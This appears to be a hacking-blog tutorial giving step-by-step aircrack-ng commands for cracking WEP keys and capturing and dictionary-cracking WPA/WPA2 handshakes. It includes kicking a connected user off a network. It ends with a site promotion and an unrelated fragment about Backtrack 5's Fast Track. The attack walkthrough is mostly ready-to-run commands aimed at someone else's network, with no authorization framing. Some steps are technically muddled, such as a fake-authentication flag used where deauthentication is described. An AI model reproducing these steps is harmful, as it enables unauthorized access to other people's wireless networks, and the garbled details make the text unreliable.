WEP is very easy and fast to crack. Here are the steps:
1. Put your Wireless Interface into Monitor Mode:And Type The Command given below
airmon-ng start wlan0
(In this example our interface is ‘wlan0′ – To find out your wireless interface type: iwconfig scan orairmon-ng )
2. Get Info from the Available Networks: TYPE THIS COMMAND
airodump-ng mon0
(mon0 is the monitored wlan0 interface)
3. Select one network that uses WEP encryption. In our Example the network is named SKIDHACKER. Now, get more info on the specific Network:
airodump-ng -c channel -w filetosave –bssid macaddrs mon0
(‘channel’ is the Channel Number) (‘filetosave’ is the file that airodump-ng will save its data) (‘macaddrs’ is the MAC Address of the Network) —> All this info is provided by the command used in Step 2.
4. To boost the proccedure type on a new terminal:
aireplay-ng -1 0 -a bssid mon0
(‘bssid’ is the MAC Address of the Network)
5. When this command is done, capture packets by typing:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b bssid mon0
(‘bssid’ is the Networks MAC Address)
6. When the above command gets about 20.000 – 30.000 packets you are now able to crack the network by typing:
aircrack-ng filename.cap
(where instead of ‘filename’.cap you enter the file that aireplay-ng saved at your current directory – This file is named wep-x.cap –x is a number, starting from ’01′, then ’02′ etc….–) (Instead of the ‘wep-01.cap’ you can use the ‘wep*.cap’ as in the example to ‘Auto-Select’ the file)
7. When aircrack-ng finds the key it will display something like:
KEY FOUND! [ 12:34:56:78:90 ]
(In this example our key is ’1234567890′)
8. When Finished, make sure you put your wireless interface back to original Mode by typing:
airmon-ng stop wlan0
______________________________________________________________
3. WPA – WPA2 Cracking
How it is Cracked:
WPA-WPA2 are a special case when it comes to Wireless Network Cracking. The method used to crack them is named ‘Handshake’. What should we do to get the Handshake is fooling a Computer connected to the network we will crack. Then we will use a dictionary to crack the Handshake and get the Key. So, this means that to crack these networks we need:
- A huge dictionary / wordlist – The bigger, the Better. (You can find searching the web using terms like: ‘Large WPA-WPA2 Cracking Wordlist’)
- A PC already connected to that network.
So, let’s go and crack that network:
1. Enter your wireless interface into monitor mode:And Type The Command given below
airmon-ng start wlan0
(List your interfaces by typing airmon-ng or iwlist scan)
2. Get the list of the networks available:
airodump-ng mon0
(‘mon0′ is the monitored interface)
3. Get info on a specific Network:
airodump-ng -c channel -w filename –bssid macaddrs mon0
(‘channel’ is the Network’s channel number) (‘filename’ is the name of the file that airodump-ng will save its data) (‘macaddrs’ is the Network’s MAC Address)
4. Note that under the STATION Tab there is a MAC address. This means that there is someone connected to that network and this is his PC’s MAC address. To get the handshake we will kick him off and he will automatically reconnect to the network.
So, to kick him of and get the handshake, type at a new terminal:
aireplay-ng -1 0 -a bssid mon0
(where ‘bssid’ you must type the Network‘s MAC Address)
5. When we successfully get the handshake, stop the proccess by hitting CTRL+C at the terminal that Airodump-ng is running. The handshake should be placed at your Home Folder.
To crack it type:
aircrack-ng -w dictionary /username/filename
(‘dictionary’ is the name/path of your dictionary) (‘username’ is your username – on Backtrack is ‘root’ by default) (‘filename’ is the captured WPA/WPA2 Handshake)
_______________________________________________________________________
JOIN OUR SITE
FOR LATEST HACKs
AND UPDATES
UPDATES
POSTED BY ZOOMBIE HACKER
Backtrack 5 contains different tools for exploitation, as discussed before about metasploit and armitage for this article i will discuss about fast track, however I have received different request to write more tutorial for armitage, i will write for armitage too later. Fast Track is a compilation of custom developed tools that allow penetration testers the ease of advanced penetration techniques in a relatively easy manner.
